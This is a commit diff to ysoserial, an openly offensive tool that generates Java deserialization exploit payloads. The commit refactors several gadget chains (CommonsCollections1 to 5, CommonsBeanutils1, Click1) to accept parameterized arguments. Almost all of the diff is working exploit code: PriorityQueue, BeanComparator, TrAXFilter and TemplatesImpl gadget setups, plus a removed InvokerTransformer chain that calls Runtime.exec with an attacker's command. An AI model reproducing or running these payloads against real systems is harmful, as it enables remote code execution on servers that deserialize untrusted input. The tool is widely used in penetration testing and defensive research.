Skip to content

Commit 314bb4c

Browse files
cas1nuser
cas1n
authored and
user
committed
Add parameterized payloads
* Add supplementary arguments for internal translet based payloads * Add supplementary arguments for Transformer payloads * Make CommonsBeanutils1 silent using NullComparator
1 parent 2874a69 commit 314bb4c

28 files changed

Lines changed: 666 additions & 172 deletions

‎pom.xml‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -177,6 +177,11 @@
177177
<artifactId>remoting-jmx</artifactId>
178178
<version>2.0.1.Final</version>
179179
</dependency>
180+
<dependency>
181+
<groupId>commons-cli</groupId>
182+
<artifactId>commons-cli</artifactId>
183+
<version>1.6.0</version>
184+
</dependency>
180185

181186
<!-- gadget dependecies -->
182187

@@ -444,5 +449,5 @@
444449
<name>GitHub Packages</name>
445450
<url>https://maven.pkg.github.com/frohoff/ysoserial</url>
446451
</repository>
447-
</distributionManagement>
452+
</distributionManagement>
448453
</project>

‎src/main/java/ysoserial/GeneratePayload.java‎

Lines changed: 41 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,10 @@
33
import java.io.PrintStream;
44
import java.util.*;
55

6+
import org.apache.commons.cli.ParseException;
67
import ysoserial.payloads.ObjectPayload;
78
import ysoserial.payloads.ObjectPayload.Utils;
9+
import ysoserial.payloads.ParameterizedObjectPayload;
810
import ysoserial.payloads.annotation.Authors;
911
import ysoserial.payloads.annotation.Dependencies;
1012

@@ -14,12 +16,12 @@ public class GeneratePayload {
1416
private static final int USAGE_CODE = 64;
1517

1618
public static void main(final String[] args) {
17-
if (args.length != 2) {
19+
if (args.length == 0) {
1820
printUsage();
1921
System.exit(USAGE_CODE);
2022
}
2123
final String payloadType = args[0];
22-
final String command = args[1];
24+
final String[] payloadArgs = Arrays.copyOfRange(args, 1, args.length);
2325

2426
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
2527
if (payloadClass == null) {
@@ -31,7 +33,42 @@ public static void main(final String[] args) {
3133

3234
try {
3335
final ObjectPayload payload = payloadClass.newInstance();
34-
final Object object = payload.getObject(command);
36+
if(payloadArgs.length == 0) {
37+
if (payload instanceof ParameterizedObjectPayload) {
38+
System.err.println(((ParameterizedObjectPayload) payload).getHelp());
39+
} else {
40+
System.err.println("Usage: java -jar ysoserial-[version]-all.jar "+ payloadType +" '[command]'");
41+
}
42+
System.exit(USAGE_CODE);
43+
return;
44+
}
45+
final Object object;
46+
if (payload instanceof ParameterizedObjectPayload) {
47+
ParameterizedObjectPayload parameterizedPayload = (ParameterizedObjectPayload)payload;
48+
try {
49+
object = parameterizedPayload.getObject(payloadArgs);
50+
} catch (ParseException e) {
51+
System.err.println("Error: " + e.getMessage());
52+
System.err.println(parameterizedPayload.getHelp());
53+
System.exit(USAGE_CODE);
54+
return;
55+
} catch (IllegalArgumentException e) {
56+
if (e.getMessage() != null) {
57+
System.err.println("Error: " + e.getMessage());
58+
}
59+
System.err.println(parameterizedPayload.getHelp());
60+
System.exit(USAGE_CODE);
61+
return;
62+
}
63+
} else {
64+
if (payloadArgs.length > 1) {
65+
System.err.println("Error: the payload '" + payloadType + "' does not support multiple arguments");
66+
printUsage();
67+
System.exit(USAGE_CODE);
68+
return;
69+
}
70+
object = payload.getObject(payloadArgs[0]);
71+
}
3572
PrintStream out = System.out;
3673
Serializer.serialize(object, out);
3774
ObjectPayload.Utils.releasePayload(payload, object);
@@ -45,7 +82,7 @@ public static void main(final String[] args) {
4582

4683
private static void printUsage() {
4784
System.err.println("Y SO SERIAL?");
48-
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
85+
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] [arguments ...]");
4986
System.err.println(" Available payload types:");
5087

5188
final List<Class<? extends ObjectPayload>> payloadClasses =

‎src/main/java/ysoserial/Strings.java‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,10 @@ public static String join(Iterable<String> strings, String sep, String prefix, S
2121
return sb.toString();
2222
}
2323

24+
public static String join(Iterable<String> strings, String sep) {
25+
return Strings.join(strings, sep, null, null);
26+
}
27+
2428
public static String repeat(String str, int num) {
2529
final String[] strs = new String[num];
2630
Arrays.fill(strs, str);
@@ -49,6 +53,19 @@ public static List<String> formatTable(List<String[]> rows) {
4953
return lines;
5054
}
5155

56+
public static String escapeJavaString(String str) {
57+
return str.replace("\\", "\\\\")
58+
.replace("\"", "\\\"");
59+
}
60+
61+
public static String[] escapeJavaStrings(String[] strs) {
62+
String[] res = new String[strs.length];
63+
for(int i = 0; i < res.length; ++i) {
64+
res[i] = escapeJavaString(strs[i]);
65+
}
66+
return res;
67+
}
68+
5269
public static class ToStringComparator implements Comparator<Object> {
5370
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
5471
}

‎src/main/java/ysoserial/payloads/Click1.java‎

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -47,9 +47,10 @@
4747
@SuppressWarnings({ "rawtypes", "unchecked" })
4848
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
4949
@Authors({ Authors.ARTSPLOIT })
50-
public class Click1 implements ObjectPayload<Object> {
50+
public class Click1 extends ParameterizedTransletObjectPayload<Object> {
5151

52-
public Object getObject(final String command) throws Exception {
52+
@Override
53+
protected Object getObject(Object templates) throws Exception {
5354

5455
// prepare a Column.comparator with mock values
5556
final Column column = new Column("lowestSetBit");
@@ -69,7 +70,6 @@ public Object getObject(final String command) throws Exception {
6970
// finally, we inject and new TemplatesImpl object into the queue,
7071
// so its getOutputProperties() method will be called
7172
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
72-
final Object templates = Gadgets.createTemplatesImpl(command);
7373
queueArray[0] = templates;
7474

7575
return queue;
@@ -78,4 +78,5 @@ public Object getObject(final String command) throws Exception {
7878
public static void main(final String[] args) throws Exception {
7979
PayloadRunner.run(Click1.class, args);
8080
}
81+
8182
}

‎src/main/java/ysoserial/payloads/CommonsBeanutils1.java‎

Lines changed: 12 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,32 @@
11
package ysoserial.payloads;
22

3+
import java.lang.reflect.Constructor;
34
import java.math.BigInteger;
5+
import java.util.Comparator;
46
import java.util.PriorityQueue;
57

68
import org.apache.commons.beanutils.BeanComparator;
79

810
import ysoserial.payloads.annotation.Authors;
911
import ysoserial.payloads.annotation.Dependencies;
10-
import ysoserial.payloads.util.Gadgets;
1112
import ysoserial.payloads.util.PayloadRunner;
1213
import ysoserial.payloads.util.Reflections;
1314

1415
@SuppressWarnings({ "rawtypes", "unchecked" })
1516
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
1617
@Authors({ Authors.FROHOFF })
17-
public class CommonsBeanutils1 implements ObjectPayload<Object> {
18+
public class CommonsBeanutils1 extends ParameterizedTransletObjectPayload<Object> {
19+
20+
protected Object getObject(final Object templates) throws Exception {
21+
//NullComparator implements Comparator<?> and Serializable
22+
Constructor<?> nullComparatorConstructor = Reflections
23+
.getFirstCtor("java.util.Comparators$NullComparator");
24+
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
25+
.newInstance(true, null);
1826

19-
public Object getObject(final String command) throws Exception {
20-
final Object templates = Gadgets.createTemplatesImpl(command);
2127
// mock method name until armed
22-
final BeanComparator comparator = new BeanComparator("lowestSetBit");
28+
final BeanComparator comparator = new BeanComparator("lowestSetBit",
29+
nullComparator);
2330

2431
// create queue with numbers and basic comparator
2532
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

‎src/main/java/ysoserial/payloads/CommonsCollections1.java‎

Lines changed: 4 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -44,25 +44,13 @@
4444
@PayloadTest ( precondition = "isApplicableJavaVersion")
4545
@Dependencies({"commons-collections:commons-collections:3.1"})
4646
@Authors({ Authors.FROHOFF })
47-
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
47+
public class CommonsCollections1 extends ParameterizedTransformersObjectPayload<InvocationHandler> {
4848

49-
public InvocationHandler getObject(final String command) throws Exception {
50-
final String[] execArgs = new String[] { command };
49+
@Override
50+
protected InvocationHandler getObject(Transformer[] transformers) throws Exception {
5151
// inert chain for setup
5252
final Transformer transformerChain = new ChainedTransformer(
5353
new Transformer[]{ new ConstantTransformer(1) });
54-
// real chain for after setup
55-
final Transformer[] transformers = new Transformer[] {
56-
new ConstantTransformer(Runtime.class),
57-
new InvokerTransformer("getMethod", new Class[] {
58-
String.class, Class[].class }, new Object[] {
59-
"getRuntime", new Class[0] }),
60-
new InvokerTransformer("invoke", new Class[] {
61-
Object.class, Object[].class }, new Object[] {
62-
null, new Object[0] }),
63-
new InvokerTransformer("exec",
64-
new Class[] { String.class }, execArgs),
65-
new ConstantTransformer(1) };
6654

6755
final Map innerMap = new HashMap();
6856

@@ -84,4 +72,5 @@ public static void main(final String[] args) throws Exception {
8472
public static boolean isApplicableJavaVersion() {
8573
return JavaVersion.isAnnInvHUniversalMethodImpl();
8674
}
75+
8776
}

‎src/main/java/ysoserial/payloads/CommonsCollections2.java‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,10 +27,10 @@
2727
@SuppressWarnings({ "rawtypes", "unchecked" })
2828
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
2929
@Authors({ Authors.FROHOFF })
30-
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
30+
public class CommonsCollections2 extends ParameterizedTransletObjectPayload<Queue<Object>> {
3131

32-
public Queue<Object> getObject(final String command) throws Exception {
33-
final Object templates = Gadgets.createTemplatesImpl(command);
32+
@Override
33+
protected Queue<Object> getObject(Object templates) throws Exception {
3434
// mock method name until armed
3535
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
3636

‎src/main/java/ysoserial/payloads/CommonsCollections3.java‎

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -30,11 +30,10 @@
3030
@PayloadTest ( precondition = "isApplicableJavaVersion")
3131
@Dependencies({"commons-collections:commons-collections:3.1"})
3232
@Authors({ Authors.FROHOFF })
33-
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
34-
35-
public Object getObject(final String command) throws Exception {
36-
Object templatesImpl = Gadgets.createTemplatesImpl(command);
33+
public class CommonsCollections3 extends ParameterizedTransletObjectPayload<Object> {
3734

35+
@Override
36+
protected Object getObject(Object templates) throws Exception {
3837
// inert chain for setup
3938
final Transformer transformerChain = new ChainedTransformer(
4039
new Transformer[]{ new ConstantTransformer(1) });
@@ -43,7 +42,7 @@ public Object getObject(final String command) throws Exception {
4342
new ConstantTransformer(TrAXFilter.class),
4443
new InstantiateTransformer(
4544
new Class[] { Templates.class },
46-
new Object[] { templatesImpl } )};
45+
new Object[] { templates } )};
4746

4847
final Map innerMap = new HashMap();
4948

@@ -63,6 +62,7 @@ public static void main(final String[] args) throws Exception {
6362
}
6463

6564
public static boolean isApplicableJavaVersion() {
66-
return JavaVersion.isAnnInvHUniversalMethodImpl();
67-
}
65+
return JavaVersion.isAnnInvHUniversalMethodImpl();
66+
}
67+
6868
}

‎src/main/java/ysoserial/payloads/CommonsCollections4.java‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -26,11 +26,10 @@
2626
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
2727
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
2828
@Authors({ Authors.FROHOFF })
29-
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
30-
31-
public Queue<Object> getObject(final String command) throws Exception {
32-
Object templates = Gadgets.createTemplatesImpl(command);
29+
public class CommonsCollections4 extends ParameterizedTransletObjectPayload<Queue<Object>> {
3330

31+
@Override
32+
protected Queue<Object> getObject(Object templates) throws Exception {
3433
ConstantTransformer constant = new ConstantTransformer(String.class);
3534

3635
// mock method name until armed
@@ -61,4 +60,5 @@ public Queue<Object> getObject(final String command) throws Exception {
6160
public static void main(final String[] args) throws Exception {
6261
PayloadRunner.run(CommonsCollections4.class, args);
6362
}
63+
6464
}

‎src/main/java/ysoserial/payloads/CommonsCollections5.java‎

Lines changed: 3 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -52,25 +52,13 @@
5252
@PayloadTest ( precondition = "isApplicableJavaVersion")
5353
@Dependencies({"commons-collections:commons-collections:3.1"})
5454
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
55-
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
55+
public class CommonsCollections5 extends ParameterizedTransformersObjectPayload<BadAttributeValueExpException> {
5656

57-
public BadAttributeValueExpException getObject(final String command) throws Exception {
58-
final String[] execArgs = new String[] { command };
57+
@Override
58+
protected BadAttributeValueExpException getObject(Transformer[] transformers) throws Exception {
5959
// inert chain for setup
6060
final Transformer transformerChain = new ChainedTransformer(
6161
new Transformer[]{ new ConstantTransformer(1) });
62-
// real chain for after setup
63-
final Transformer[] transformers = new Transformer[] {
64-
new ConstantTransformer(Runtime.class),
65-
new InvokerTransformer("getMethod", new Class[] {
66-
String.class, Class[].class }, new Object[] {
67-
"getRuntime", new Class[0] }),
68-
new InvokerTransformer("invoke", new Class[] {
69-
Object.class, Object[].class }, new Object[] {
70-
null, new Object[0] }),
71-
new InvokerTransformer("exec",
72-
new Class[] { String.class }, execArgs),
73-
new ConstantTransformer(1) };
7462

7563
final Map innerMap = new HashMap();
7664

0 commit comments

Comments
 (0)